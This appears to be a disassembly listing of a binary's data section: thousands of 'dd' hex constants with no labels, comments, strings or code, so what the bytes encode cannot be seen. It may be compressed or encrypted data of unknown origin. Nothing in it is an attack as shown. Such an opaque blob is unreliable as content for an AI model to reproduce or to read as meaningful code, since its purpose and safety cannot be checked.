		dd 0DA2E00B5h, 8F26DDA7h, 74B86E34h, 16753958h,	0EC059EC9h
		dd 0D6C0764Bh, 0BAACEB1h, 9D6343EBh, 45B40C00h,	83000ED5h
		dd 1FA0773Ch, 1394130h,	85F3010Ah, 0C4A384D3h, 86B0F648h
		dd 9D88B902h, 0E0792D4Ah, 0B01B1A97h, 9EC6007Ch, 0C0AD02DFh
		dd 563C7A32h, 6670C98h,	7050211Ah, 6489A81h, 0D921857Ch
		dd 71374872h, 6FCE5217h, 2B0887E5h, 0B7C1CCh, 40172648h
		dd 7EF92E18h, 0C854840Fh, 818383DBh, 15EC046h, 7952007Ah
		dd 0BF638BC7h, 0BD007E73h, 43101859h, 156D6926h, 2C2A7B19h
		dd 0DACDA860h, 6B00359Ch, 5D3013FAh, 41A41046h,	2DC4E0F4h
		dd 0A5AC9A00h, 0A1C2D282h, 4652280Eh, 0DE2A0164h, 0B261F8AAh
		dd 0CBD660F5h, 7BE62307h, 1C0B168h, 0EB04E41h, 2AFE4A21h
		dd 0ACDC3900h, 2BF29929h, 8F52353Ah, 0A01260E4h, 575FDDD6h
		dd 8E74005Ah, 0EA661727h, 9F0044F6h, 46847922h,	0E028C986h
		dd 0B776006Dh, 43E4B4D9h, 382CA43Eh, 100124A0h,	8BC60487h
		dd 99A3C0h, 9DD8986Ah, 31552E8Ch, 80C8103Fh, 2FFA686Eh
		dd 1ACDBB1h, 6515664Bh,	0F4401436h, 0AB721C42h,	31FA3700h
		dd 4C2278A1h, 140100D0h, 2DF24729h, 0D8004869h,	6789C9F4h
		dd 5C997F63h, 4000E64Bh, 1AAF80A3h, 5DE4B0F7h, 0C160171Fh
		dd 6FC81400h, 491EDAFBh, 6C1E0C9Eh, 738C006Dh, 0FC519383h
		dd 19D6D307h, 840D480h,	1F611BBBh, 80318941h, 2111096Eh
		dd 7D002659h, 17778873h, 0C6A10771h, 3885DC40h,	0A7B78A00h
		dd 18A8B3CDh, 0FC20C045h, 13D0CE39h, 32F38600h,	11368F4Fh
		dd 4D252828h, 1C7000E4h, 0DB12501Dh, 40FE7FE8h,	1E0E548h
		dd 5F45DEDAh, 0A080FB4Eh, 5EA90AD5h, 410713DCh,	0EDBEB02Dh
		dd 0FA060870h, 314300F8h, 8D993AFFh, 0DF387AA6h, 73037338h
		dd 6561D039h, 7FE580C3h, 55FB03DEh, 0E4CF6419h,	49D63C2h
		dd 0F51EC603h, 384BE0E7h, 6E0E0980h, 2601AD4Eh,	0DC49BFCDh
		dd 657FCAA6h, 73067477h, 0DB1F3FCh, 11394228h, 3421C140h
		dd 907AD208h, 8C868475h, 44771044h, 0A1488ABCh,	45955487h
		dd 0A60EEBE0h, 0BFA0Ch,	39D39667h, 0A0325FCFh, 0E9D1EBCh
		dd 48C2DF9Eh, 42F87BF0h, 0F7807D30h, 46DB7ABFh,	974D800h
		dd 0A2F980FAh, 8CCE5C5Ch, 81D68A00h, 0EF2A9791h, 961C2DF2h
		dd 43589B05h, 2EDEAF2Ah, 18AE4DAh, 199E577Eh, 0EBABE877h
		dd 0F13B7200h, 0F01DED94h, 225E01BEh, 16E73923h, 1BEFF882h
		dd 13FB5400h, 0D7E1C0A1h, 66350077h, 1DF7BDE4h,	0F2001FC6h
		dd 0C42890A4h, 3C7CE06h, 0AD259B2Ch, 18EE5B65h,	984A8930h
		dd 0C1D5F9h, 7BEA330Eh,	0BFC6E870h, 0AD07530Fh,	6EDF2040h
		dd 1FE7A0E9h, 0D5FD2D49h, 0C500F00Fh, 4B8101B3h, 0DEFCD139h
		dd 0B1A6D200h, 2BEC5872h, 0F8060BF7h, 888050C0h, 18091A20h
		dd 0C71D4875h, 12C0D52Dh, 5D4B44C6h, 5B620029h,	0CE869802h
		dd 0FF09A352h, 20104FF2h, 773E2A28h, 3B6D78A6h,	0F1836F56h
		dd 20BC43F6h, 0D74895A0h, 72B9715Ch, 0EA63850Eh, 813B4088h
		dd 779F037h, 0BE40FDB3h, 0C172F096h, 0D0036DF7h, 0D6C5C0CDh
		dd 0EA53B0FEh, 6CF20335h, 8DB48FA7h, 0AA3FCB80h, 0B12AC800h
		dd 0F402FD06h, 61A900D8h, 12694DC4h, 0F0508B5Eh, 5B201B8Ch
		dd 92427Eh, 46DDDC07h, 618BB1CDh, 1102786Fh, 7E61CCB4h
		dd 27C43503h, 0E0DE9E29h, 0CE2EE9h, 88B19979h, 258A2410h
		dd 0AA8D310Fh, 8069C04Eh, 2D030C6h, 5A231AD1h, 90815C34h
		dd 0D7E022F1h, 6E174B8h, 20BD8100h, 8DB3F52Bh, 213F3B0Dh
		dd 4D301080h, 0E75D7568h, 802A583Bh, 0C1B6855Ch, 0F3A1415h
		dd 0D9181DEEh, 0C9FB4720h, 9D07F7ADh, 67BECDEDh, 7DDC3620h
		dd 7AE30099h, 55C76BFDh, 3D128CE2h, 0BB49h, 0E391D445h
		dd 95DC001Ah, 0B51EB1C0h, 42000ECBh, 496F8E2Fh,	1B9ECE1h
		dd 3D189647h, 8092F4D2h, 0E953351Eh, 3B59FAh, 0F53083D3h
		dd 12BE0D38h, 8799F806h, 1EF056E6h, 3E2285h, 959F1ACEh
		dd 281C7470h, 0D140064Fh, 570FE7AEh, 0DCB03D46h, 2413778Fh
		dd 7D473160h, 52718DE9h
		dd 3E7A8905h, 7C803FCEh, 3798B8Ah, 60840806h, 9DB0F36Bh
		dd 0C0001062h, 7B0FBD83h, 3B9974Ch, 0BF43CA2Dh,	80AD1657h
		dd 0F3B5959Fh, 94F8D3E1h, 5000BAFBh, 1CC77297h,	9091A5DDh
		dd 112800CCh, 0F6D46402h, 0C3030306h, 6F4C676Dh, 0E61BE991h
		dd 0BE3CECh, 43378E7Ah,	0D32F286h, 0C0274F00h, 548145B9h
		dd 0EC80EEAh, 0B260F634h, 0A4A69ABBh, 10DD8000h, 36A2EC12h
		dd 851E0127h, 5D8DD6BFh, 740CD8D2h, 34FB1800h, 8B1FCD6Ah
		dd 0C3E000E1h, 884E5A21h, 59007BFFh, 7318FA46h,	318BCE99h
		dd 81C087D8h, 90B97085h, 6E01887Eh, 3E80E8Eh, 14DC4824h
		dd 0F7FA0036h, 3C01E405h, 651C9537h, 0A9E4B0BAh, 0E5854B00h
		dd 0B40F32h, 0B17450D8h, 4D511003h, 407EF000h, 938EA7CAh
		dd 0E62100ADh, 787281DCh, 8F0BF5E3h, 80A155A9h,	0CA078947h
		dd 0B490005Fh, 5072FF76h, 67372A27h, 24D01C7Fh,	5B1C82h
		dd 0CC1FE565h, 44F44CEEh, 0DE43F100h, 60EBD6DBh, 7C0D0011h
		dd 2F0E9A34h, 0AE008F9Bh, 530B37CDh, 74EEFBh, 3D43BC23h
		dd 45E1AA6Eh, 7F07EFEEh, 282D14CFh, 0CE60C3D0h,	50200B0h
		dd 22485107h, 1A03BCB1h, 903AC1BFh, 0ADEDE8A6h,	0A798003Fh
		dd 8DFFE92Fh, 0A9C029C9h, 0D6184CF2h, 0D7BB00BDh, 2D232A3Fh
		dd 0A7FCFEEh, 3C3A42FCh, 6FD50089h, 667558FEh, 0A40500CEh
		dd 0C6E394FAh, 0A303E57Eh, 37AE49D6h, 30E9E93Bh, 14EAA30h
		dd 0C62F9736h, 0D4BE39CFh, 22004B8Bh, 3C81491Eh, 362D8C4h
		dd 0ADB854C3h, 88DBA592h, 936EAE98h, 0E9094F00h, 0CD479519h
		dd 3A7B00F1h, 0CD6668Eh, 68007323h, 0A4C63C40h,	0E6A712h
		dd 0BB31F8E3h, 910CB95Bh, 0A9BF48C3h, 4548B893h, 4FBE004Dh
		dd 9CF8176Dh, 0BD3BC790h, 0AC780F01h, 4A04C0A7h, 5C56AA20h
		dd 580F51C1h, 0ECE8F47h, 0E2805060h, 45009389h,	0D82992B4h
		dd 3DDCD4Dh, 5BC02B4Eh,	26B3C479h, 0DFB63AF1h, 37E6A617h
		dd 0A8C7E700h, 74C5720h, 8E531C9Fh, 0EE80EF7Ch,	0F9A339F7h
		dd 6D4E4B00h, 0A10DE16Eh, 403D0702h, 51ABA92Fh,	0F4EFDB9Ah
		dd 802E4D9h, 6AF7115Ch,	7BC8B62h, 0EF23669Bh, 0F1000A7h
		dd 4555F2D6h, 9E0E38DEh, 0C0F7B2B1h, 6DFB840Eh,	7D610241h
		dd 10F3BE2Fh, 1CC180C3h, 7BA20E8h, 0D6534C00h, 0CBB47455h
		dd 3CD40025h, 3790489Ah, 0C70BD52Ah, 83E4C29Dh,	0C889B8A6h
		dd 545918h, 6E8CB34Bh, 0C0267D44h, 0B80199FAh, 2D633114h
		dd 8CC11245h, 1B55DC4h,	983829E8h, 0FCBEEE16h, 10007EF5h
		dd 63F7909Ah, 0F4E1B7h,	0B348DC47h, 89CEB2EAh, 3E845E00h
		dd 3322E59Bh, 889F0FD9h, 3260C162h, 0E0E43964h,	1297902Ch
		dd 0A7E9540Fh, 7EFE63DDh, 0E0825C4Eh, 9992E5B9h, 1CEFEEE0h
		dd 401ECA23h, 0CCC97229h, 21B84674h, 11260D00h,	0FD6C4EFAh
		dd 0E4C600D5h, 6F2F54D7h, 0EFE2F0CCh, 0C74B2B00h, 8A564295h
		dd 0B59800EEh, 1D815007h, 4100A07Eh, 631B5BADh,	0B27643h
		dd 396D1709h, 3D30E383h, 6A004D72h, 0C10E35A1h,	87EBB4h
		dd 5F78B5A0h, 163419C3h, 0FA205C1Fh, 2C471041h,	0BDE0E574h
		dd 81C10039h, 4D3CB17h,	6F0F5FF0h, 807A425Eh, 1D0B95A0h
		dd 21BC006Ch, 1AA1DB0Ch, 370009D8h, 5B689029h, 51CBF7h
		dd 0B1EB74C4h, 0F9638136h, 7F825700h, 0B26D8C13h, 0CD7C0098h
		dd 67D039B9h, 0D92C433Ch, 63000F5Ch, 45496F0h, 932B00AFh
		dd 2E5B7E3Ah, 816291Fh,	3E12B4ACh, 0DD8E6D00h, 2ED7237Ch
		dd 0B142E7h, 41B7B6Bh, 9E1DCFE2h, 280C249h, 0EA89C66Eh
		dd 77B130C9h, 0A85822B8h, 0E53A3600h, 2833EBA6h, 0EEB7285Ah
		dd 0E97480h, 0F8FD0379h, 619165B9h, 3901B81Dh, 9A788EFDh
		dd 0E4D7E067h, 0EC0F62h, 0C592CB30h, 46267CD2h,	0B5672000h
		dd 0CF293BA6h, 0A4C8007Fh, 0AC7D19A3h, 610086C4h, 3B3EF002h
		dd 4483BAh, 0A2C63959h,	1B6ED44Fh, 72EC0900h, 419D055Ah
		dd 2B7774h, 0A74F8A73h,	668FAEDEh, 0B98B000h, 7668CFB3h
		dd 8AF33FB8h, 807CE41Ch, 0CC2ED6FAh, 0B3765B8Bh, 70C8A500h
		dd 86B85849h, 989A0E04h, 2444D2B6h, 0E7F9C02Dh,	700B482h
		dd 760518E6h, 0EC8CD1h,	8FEF45B0h, 43F7D9FBh, 0B101C2E0h
		dd 0EBECEDBh, 0D2501379h, 2F8512Fh, 5D3DEF1Fh, 27407FF0h
		dd 0D1F89877h, 3C882100h, 294956AFh, 0D09D000Fh, 1DDFC568h
		dd 142EA180h, 5300C77Fh, 2D5BEBDh, 8DA6016Bh, 6FB3C297h
		dd 48C8805Dh, 0AF81FD04h, 507D0092h, 57432FD7h,	89740AE5h
		dd 0F1F4BD00h, 0A74B050Bh, 9F461FCFh, 986803E6h, 3CD0152Ch
		dd 3A00D11Fh, 0E5DC7C71h, 0B2C8D9h, 0F9598F13h,	1AFDEDDDh
		dd 7276E800h, 0FFB35DBCh, 2D0D0037h, 0F1226B98h, 32EA9BFBh
		dd 6410D600h, 3CCF52Fh,	0C3BA0017h, 3C99B50Ah, 0C6065D3Ah
		dd 15F37EC7h, 241650E8h, 0C4E3000Fh, 0EDD24C77h, 5200B2D0h
		dd 6E9FEC47h, 1D6F9C71h, 0DFF1CAh, 4E611A48h, 1B07C3ADh
		dd 0A68F3E17h, 45318907h, 82CCA37Eh, 0E9390E3h,	90A128E2h
		dd 49A077CEh, 7D3942C0h, 0C7939601h, 117CE5C3h,	1D67E420h
		dd 1FDB8675h, 3D664D4h,	126A87DCh, 580DCDC0h, 86A25C18h
		dd 1BAEC0h, 42620669h, 46145274h, 0C57CBA1Fh, 0ECEDF900h
		dd 61D93Eh, 495FF49Dh, 33CF68B7h, 0CAB44A01h, 81F30585h
		dd 7A364CCh, 58E2CBAAh,	9EEB03Bh, 0D3004FCCh, 2C1A7F0Bh
		dd 769AE5EFh, 728E00D9h, 3DF67E15h, 49008C83h, 0B6196B2Bh
		dd 0E4AF6Ch, 0D8CC0FC7h, 4F66452Ch, 0BCAA4207h,	5C4073C5h
		dd 84AC4Bh, 5659B9F0h, 48570CE7h, 0CDADA100h, 0E25D23FEh
		dd 0F41007D9h, 0B0FA8FE9h, 0ADDB9E4Bh, 0DFF6FF01h, 408114EDh
		dd 0E4243E0h, 30F8D684h, 7EB18B80h, 90CE5E94h, 0FC8CC04Ah
		dd 85D241h, 0F0CE91F5h,	0FFB4EDA2h, 24236700h, 1A5BEC89h
		dd 987E0036h, 0B1509756h, 39009F5Ah, 2CFF3FF4h,	1F14EEAFh
		dd 7A3E1EA9h, 0CC8EEA87h, 1AADB075h, 0CA004C55h, 0A12A9886h
		dd 0FA6E44h, 710742B0h,	67E7AC11h, 869B7B00h, 46ADF099h
		dd 0FEDF1EE9h, 0DD80CE1Fh, 0AF9C4A41h, 30F0C43Fh, 5F1CBCF2h
		dd 4540F7FAh, 770BCD2Bh, 0A4FE07ACh, 40A866D6h,	0C44BB807h
		dd 69843Ah, 0A2F314C8h,	6E0A7Dh, 0BCE95EAh, 0E6E06574h
		dd 0E140BA00h, 46282954h, 182ECA2h, 9FF94A55h, 0F8B2D770h
		dd 0E01F72F4h, 7B8580FCh, 0C400074Fh, 0C8D2582Ah, 25293B7Ch
		dd 0CBC26A00h, 87243E96h, 0BB86B400h, 0D35AC9D2h, 127B0651h
		dd 0E6D7BCF1h, 30AF9B00h, 0D6AAD0BAh, 94DCA050h, 79990033h
		dd 74DC4505h, 0C90C028Eh, 20A4EC26h, 0D54C186Ah, 0EFF806C2h
		dd 0B428E407h, 834061B2h, 1CFABC16h, 0BB14BFA9h, 287B8698h
		dd 2600D8DCh, 0AA5FC8BAh, 5C106ECFh, 0F7003279h, 2EA14417h
		dd 93032AF0h, 5B0FA73Eh, 8250C038h, 0F6C200AEh,	74E7124Dh
		dd 0EC009662h, 0A59D29B5h, 1A5F77h, 0D8E1EA98h,	310CF8EFh
		dd 8193A20Bh, 0C93302A0h, 0BC407772h, 0DD019936h, 213D7E38h
		dd 18807114h, 0CD03E98Ah, 0A0903A30h, 0DB889A60h, 8B3F45h
		dd 0DC128F90h, 8E707D6Ch, 920EECF6h, 0A22AD5B8h, 0E2794A37h
		dd 0AA92601Bh, 9F8B0724h, 0C070E6BAh, 0DF5C9B22h, 2F1E9E79h
		dd 0E84002B4h, 8D1977B8h, 1ABC004Ch, 20ED1E51h,	0A87AD5EFh
		dd 8B4A6F00h, 0C256CC76h, 650100F1h, 78424729h,	40009CC6h
		dd 0C1717998h, 18FC18ABh, 2053263Ch, 80B8A70Fh,	0FFC79400h
		dd 0E0F0C610h, 0EA06004Ch
		dd 0D0275EEBh, 93E2185Bh, 0E1A69D00h, 0A4D1E3FCh, 4F5605D3h
		dd 0C0462A53h, 5048CCE7h, 8207FB74h, 0B5A70D6Bh, 8BAF41C0h
		dd 984A0783h, 0E00EBD42h, 0C26C4D2Eh, 7CD5E400h, 0FB2D5D21h
		dd 143412CBh, 0BB40009Dh, 79E8B632h, 0E72E9202h, 0C1680F43h
		dd 40EA0ABDh, 0ED3100Ch, 5D057640h, 67751540h, 5E00CFE8h
		dd 3913B489h, 1F74857Bh, 8CDE786Ah, 2C387204h, 0E903EFB0h
		dd 69F03C1Dh, 21ADC8ABh, 20736070h, 0D052EBF6h,	0FCB1A001h
		dd 0A31BA48Bh, 69F6020h, 53595D2Ch, 4C7410E3h, 1A039000h
		dd 0EE4954C3h, 0A418C064h, 8F987010h, 83C8BF02h, 60F59C82h
		dd 0EBC6509h, 0D985322Dh, 0B90800B3h, 0D23EFDDFh, 0A3539100h
		dd 68B23169h, 6A7B003Dh, 958726CAh, 2F0F1454h, 846F3C05h
		dd 80C0666Bh, 89AA31h, 70CA7AD3h, 0C94E299Dh, 0F0C85F51h
		dd 560E66EFh, 60E33348h, 23699B79h, 2EF800DFh, 8D417746h
		dd 9F07D10Bh, 97C91CC0h, 36FA2030h, 40489209h, 0E000A883h
		dd 0D010F952h, 32B1C73h, 0D96E0B76h, 0A8B88E62h, 46004807h
		dd 39B59C69h, 0F0C8B47h, 1665DE3Eh, 9482DF00h, 4FFA6A9Eh
		dd 22B03C98h, 490C1D00h, 0A235DAE0h, 9F8A006Ch,	6597073Eh
		dd 28003FABh, 0A88DCAF8h, 828F4Bh, 85458C7Dh, 4814B639h
		dd 208B5700h, 0AA5304F5h, 28E6F447h, 0C0E746h, 0BBC308FEh
		dd 0BC9E362Dh, 0E5370D00h, 9CD216FAh, 3ACB0045h, 89679563h
		dd 0A10035A7h, 8DD9BB1Ch, 48FFDE58h, 0E30FF042h, 7E2910h
		dd 488843DFh, 8B0002D8h, 60DE90FBh, 2A7453h, 6EB6B9B7h
		dd 0AB29D628h, 87D94E3Dh, 1E3A3D38h, 51657540h,	32BF0049h
		dd 0D0BE62ACh, 9700F340h, 70C69DDFh, 0FA22D2h, 0B3557EF8h
		dd 47D7698h, 9FFC8773h,	3F3E993Eh, 4ADF84EAh, 0D0C098F7h
		dd 0B20D33h, 7D9ABF3Dh,	559793A3h, 319F9112h, 8BF83601h
		dd 0ADE56D01h, 902BBD60h, 512700E0h, 0EDA478B0h, 0A8785BDBh
		dd 0A6C98706h, 740587Bh, 0E3CFE2Eh, 27E0AE30h, 2BD3788Dh
		dd 4F008092h, 4770CE1Bh, 22CADD1h, 5E74C708h, 10C846E1h
		dd 77E27962h, 78CD658h,	0F7617D49h, 1A7A0B40h, 0B7010071h
		dd 0AA81F0B4h, 0FB0739B9h, 8903E583h, 0A3672EF0h, 64C85812h
		dd 592A9C04h, 0DCC48D51h, 0BE0A4F41h, 94462562h, 0CA795186h
		dd 53880030h, 1F48379Bh, 0E00692A6h, 724301FEh,	4ABC0021h
		dd 40C01861h, 4407BF7Dh, 72E0B3B1h, 89008635h, 6A3576Fh
		dd 243D0023h, 0A79EF544h, 0BA1E5E26h, 0D3C15A2Bh, 5B56ACCBh
		dd 4135C4h, 0F15981DAh,	0FC3A68AAh, 44ECD000h, 6B1321A5h
		dd 9B6A0712h, 0E0A9DBE3h, 9FD50F37h, 0AE1C0D73h, 7580BDEFh
		dd 76A1DF72h, 5BC30074h, 46CB7847h, 95700D09h, 31DC51Eh
		dd 573735C0h, 0A749C0h,	0EE67A14Ah, 45402CFAh, 0A92B6200h
		dd 59885F80h, 0E1C900FDh, 0DE153A4Ch, 41B5426Fh, 40E6B430h
		dd 20BCF8h, 0F9A799C8h,	67B350D0h, 8013AA3Fh, 0B58F43D4h
		dd 0A0889Dh, 0F36E52DFh, 2548F93Ch, 450013FEh, 0E94449A3h
		dd 14333h, 60421FBAh, 190AF72Fh, 0F607B200h, 0ABA493F9h
		dd 9FF2008Fh, 0BF953AEAh, 0B7009125h, 1C7C0441h, 3AD1D368h
		dd 17000A57h, 9B64EF3Bh, 3E0E985Bh, 6B6325h, 0A038F708h
		dd 30BB000Ch, 0DACF174Ah, 0E70020BFh, 945B5F3Dh, 751C0Ah
		dd 6CEC0CBEh, 0E62F48ABh, 0C55ADA03h, 8060A11Bh, 961A64Ah
		dd 924DEC15h, 0D0BCAD07h, 0BB12A0F4h, 40ADC409h, 91C50048h
		dd 4C198F87h, 0F33CB8C2h, 8E51B000h, 3E3BE38Bh,	5F0D9E0Eh
		dd 3C95E004h, 7135A6Ah,	7F8E6744h, 0DA72800Fh, 0AD009D71h
		dd 65800CA2h, 0CA159Fh,	0BE059A64h, 7A1A23E4h, 0A2B93Ah
		dd 0FED89DD9h, 77A67025h, 79E01E57h, 1E63C76Ch,	0A26ED0ADh
		dd 0EB7C5D44h, 0E72B1A00h, 9CCF37Bh, 1BD300FBh,	44314315h
		dd 1D00667Dh, 24EA8558h, 0B8B82AD2h, 7BE20376h,	81290A90h
		dd 2BD8B68Bh, 8703AC56h, 0D45AE5CEh, 93A0079Eh,	0A01B0FD9h
		dd 371A21BAh, 187DE03Eh, 0E9605FD8h, 41A500F2h,	0F5FE7402h
		dd 4E007FDDh, 9D640BA8h, 18CD0E32h, 90E94099h, 1CA017C5h
		dd 0A0144FCEh, 0DE5E0ECh, 18EA0CD0h, 0A150E0h, 831322FEh
		dd 0E4CCF120h, 69C9200h, 8445A687h, 0DCED010Bh,	446BB15Ch
		dd 0CD05D053h, 603F41FEh, 0ADC5837Fh, 45AB7Ah, 0C856A978h
		dd 0A75C40F0h, 0E864470Eh, 90AAC075h, 4CF4A20h,	409BB185h
		dd 0A5C3EA0Fh, 0D8C081A0h, 75D75C40h, 32A8057Ch, 4490CD0Fh
		dd 225AA468h, 87C00047h, 400059DFh, 0AB27E60Bh,	0AEFF43h
		dd 11955761h, 83E3C09Ah, 4C0E9800h, 7AD1C364h, 0F64E0076h
		dd 4F96EC65h, 6000B9BFh, 817E61FFh, 0FED21B35h,	0F89A0038h
		dd 4FFE5FF4h, 7C00ABF5h, 0A63A9DD5h, 0F3D1D0h, 0A97A0782h
		dd 919E08D6h, 0A5ED0C00h, 67BE7150h, 55AF00F1h,	57304FE6h
		dd 0C4030BC8h, 0D46FE97h, 99698B5h, 3A080098h, 1A739293h
		dd 8403A963h, 40AF2BF8h, 0B95CE123h, 26E5ADF0h,	2C3A832Ch
		dd 5A18008Ah, 859A9F24h, 90AE2100h, 60FDA3D1h, 82D800B2h
		dd 0F3700FCCh, 610025B9h, 0D3EDF52h, 50B14C23h,	27A05Eh
		dd 354D9B46h, 0B9525B58h, 6DA619C0h, 6ACF87h, 0DEBE12A8h
		dd 64D97427h, 0EF0155B8h, 0CA388E92h, 83DA99D3h, 81E8E5F8h
		dd 408446B3h, 0C1A40596h, 0C802CA51h, 1A073B09h, 0A7DEAC8Fh
		dd 59425471h, 7DF3188Fh, 0DCC57462h, 8043E880h,	813BB6EBh
		dd 8DA00003h, 2F99A4C6h, 0E8A60053h, 0BF858CC8h, 0EA00DCB5h
		dd 1B6EAA92h, 0E38DAF0h, 57BA94ABh, 98D86120h, 8C00785Fh
		dd 0D424C952h, 6312B0B1h, 0C1CBA143h, 54CC7103h, 48810Fh
		dd 4EB3BA10h, 0E50BAF76h, 0A074EB98h, 43A81F07h, 0DEA78F5Ah
		dd 42D6B2C1h, 3274824h,	2CC37792h, 0B1F8FF09h, 130ADDF7h
		dd 0DA856656h, 0E0B28F00h, 15A171h, 535D2ADFh, 6879B0Dh
		dd 93ED5800h, 5CFD7568h, 0C24B0019h, 2AF9DE36h,	0BAE87667h
		dd 8B01F57Eh, 33B09D49h, 24D070A1h, 2B3000BFh, 1A98DBDFh
		dd 0B50029B2h, 809A5B62h, 30C33EFDh, 67702A18h,	9300BCBAh
		dd 0E1606159h, 7350CB5Bh, 703F009Eh, 0E03D9840h, 630044ABh
		dd 1AC82A28h, 3F8E50AEh, 6B80785Eh, 0E686F47Ah,	99C0F6DFh
		dd 1461FD3Bh, 0C8490075h, 80451AF7h, 0C8F1EAEDh, 322469B0h
		dd 19079F74h, 4AC3BA9Ah, 0FF93EFh, 5CBE641h, 0FB6AA616h
		dd 6CE0C700h, 0EB650F57h, 7447184Bh, 73DC28D2h,	0C822FD30h
		dd 1CEC0D72h, 3CA382E8h, 6FA4AA06h, 56312828h, 6088317Ch
		dd 3737E70h, 5FED19FAh,	638AE918h, 0C84CC6C1h, 790601E8h
		dd 556ADB08h, 9AE60006h, 417C020Bh, 5401CF26h, 0FF159477h
		dd 2280F765h, 1EF2ADF4h, 0DA008513h, 0A7E669F9h, 7C8D96ACh
		dd 437300EDh, 8A231425h, 0B2286A1Ah, 18700C04h,	11087530h
		dd 37C8641h, 8394D295h,	890D6E5Ch, 387E5633h, 607C23F0h
		dd 0C37B180Ah, 48C1EC38h, 0B2A6E3E4h, 80D17001h, 0A5FFCC51h
		dd 631CA4h, 79B8FB60h, 50A778BCh, 0E1686F00h, 6D7E851Bh
		dd 0E8D560A2h, 0B12D42D0h, 79545802h, 0C010BBFAh, 5A9E12h
		dd 82E63C6Bh, 43FB52B7h, 0DDF69403h, 90EE4234h,	0BD211Eh
		dd 0F4FFB306h, 5B7AB4C7h, 0A4B13600h, 4BD7AEB0h, 8AED0199h
		dd 9665BADEh, 59BBD414h, 74C87C00h, 0C7D5E39Ch,	0D10E0071h
		dd 489FC465h, 0BA3E927Ah, 9B120087h, 0BDD48318h, 0F57C00BCh
		dd 8DCDE25Ah, 0E4FD0629h
		dd 0C1758F0Fh, 670093ECh, 12895053h, 8CC54Eh, 0C31F9EEFh
		dd 2BCB6FF9h, 27373Eh, 0B5ED154Ch, 1CA07Ch, 0F13F2C5Bh
		dd 0C4318014h, 0A6204ADh, 42088E9h, 0F6A950D7h,	0F11A560h
		dd 1269DBC5h, 0AE6025A4h, 225E1900h, 0E8179AF9h, 0F345009Fh
		dd 0B7B45084h, 0D1F2B3E6h, 7F571400h, 0B580E1ACh, 1598009Eh
		dd 0FFE694ADh, 80BD27C5h, 0EEF2CFB0h, 0B08800D3h, 0FEF75D7Dh
		dd 0CA005559h, 8462135Ch, 2D3ED21h, 1907327h, 209CE465h
		dd 0BE8EA208h, 1F8743E1h, 43D0286Eh, 0F360D56h,	6C70BBE1h
		dd 0C88C0016h, 0E86F9724h, 3FA3933Ch, 951380F7h, 1C92605Ah
		dd 0FEC3003Fh, 55D7BF3Ch, 4400250Dh, 7DECE850h,	3186C1h
		dd 0EE8760AEh, 0E62FC33Ah, 1B241D01h, 82412529h, 7F9311D0h
		dd 0F4F00015h, 5E53C785h, 0D82E13EAh, 9A008A0Fh, 3AE355ADh
		dd 0B6D600A3h, 0A70A654Eh, 61005D1Eh, 0E551636Ch, 33AC43E1h
		dd 0A128F7A8h, 390588E0h, 44092E00h, 37653364h,	0E1900DDDh
		dd 0B09857ACh, 0D40F30E0h, 6B3E3D7Fh, 0B368E886h, 993D49D0h
		dd 8ECE8138h, 24AC1C9Ch, 0BD778980h, 0DF02EEB8h, 9381D600h
		dd 0EAACEBF0h, 90C73843h, 3C5BC200h, 9E35EF5Ch,	37C358C1h
		dd 4103EE86h, 6ECE807h,	34D0D826h, 445562h, 994CF8D2h
		dd 0AD256D27h, 30E11E30h, 0A0A91F9h, 4DA6113Eh,	53CB0094h
		dd 0D815486Ch, 0EB8BC12h, 0AD3800BBh, 3B21107Dh, 9D4BB201h
		dd 156DCCAFh, 17994980h, 2A2DF445h, 1CEBB00h, 760E4F82h
		dd 0EE40B05Eh, 257B00FFh, 459A3E15h, 0EC038B27h, 3A620FDCh
		dd 6B581FB8h, 434FC12Dh, 9F5829Ah, 18DF45FCh, 0F858C6C1h
		dd 89809729h, 0ED821838h, 0D8EA587Fh, 8E002492h, 351A4BA5h
		dd 0E6203753h, 0B0D154ADh, 0EE8F1787h, 587F00D6h, 0AA67F44h
		dd 8D898E00h, 0E6CDFA22h, 832000CCh, 1526B7FFh,	0EE1DC301h
		dd 44C2F8D4h, 9025E812h, 542D3C68h, 0CAC0B2h, 0DC9E847Ah
		dd 3FD35657h, 7F825405h, 5C435FB4h, 185A23C3h, 0E93FCC91h
		dd 5B001679h, 69057BECh, 153B2B9h, 0D8143B4Ah, 0BA36AFBEh
		dd 0C5BA1829h, 0E221C371h, 0DAB31853h, 0CDE8213Dh, 8CBF84A8h
		dd 0C5658000h, 0AC40840Bh, 2770F907h, 0D6B65109h, 0C14900F3h
		dd 0A9B539EFh, 98072571h, 6CC9DE90h, 284092C5h,	0C6405701h
		dd 13DC00BBh, 7165E514h, 5E00622Bh, 0F54F1795h,	0F30385h
		dd 6DDD6A09h, 0FCB526C1h, 833B0409h, 2F803025h,	1C380C5Eh
		dd 0EB28787Ah, 43692261h, 28DCD00Ch, 0F9F67Bh, 62566841h
		dd 0AD1445B6h, 5CE5CE00h, 828466FEh, 0B54E3EC8h, 758300Ah
		dd 0CB2F418Ch, 7451A2C0h, 6F3EFD00h, 554E1EF3h,	5BAD2A27h
		dd 9BE2C4h, 8D564B1Dh, 0F0C66AD5h, 92A5FC00h, 0FF4C53B5h
		dd 0CCD80901h, 0E7581426h, 5C139E1Eh, 7BE75600h, 652DF027h
		dd 0C09C69D5h, 0BF788EDFh, 0B4B3DCF1h, 0D472442Eh, 0E149DE1Ch
		dd 21081A85h, 98B4951Ch, 0F26F70h, 289452CEh, 5CD1441h
		dd 361D83Bh, 0CF0C63DAh, 8382230h, 81F60900h, 21B69628h
		dd 932E00CCh, 17CF66CAh, 0A30097D2h, 0A5AA88Fh,	44443696h
		dd 2F54C0C1h, 302E2380h, 0CF120EA0h, 81BE8E09h,	198D4104h
		dd 429E4020h, 0D9591132h, 0C1D0747Ch, 0A9427219h, 0E0582132h
		dd 0C5317C5Ah, 109A28B8h, 12AC4430h, 60034C51h,	890E5D30h
		dd 14275700h, 0CBBB84FCh, 23E50032h, 4004717Bh,	0E534331h
		dd 91B521ECh, 2E3100B2h, 16B83390h, 9409301h, 0A418C4CDh
		dd 0FE1685BCh, 1C429A2Dh, 0E0B0FCDBh, 4C24DCh, 6B671B5h
		dd 0D3C8044Eh, 0B138BA0Bh, 0CE3804EFh, 44AA70C0h, 57540ECDh
		dd 38A1F406h, 18252C32h, 8BC30985h, 0F024E231h,	0D8C04044h
		dd 1D57076Eh, 0C0160243h, 2678D5A2h, 283B2CEAh,	0EEE7DF9h
		dd 0BE4D4F0Ah, 8940B83Ah, 747BDBh, 0E5650AF3h, 934332CFh
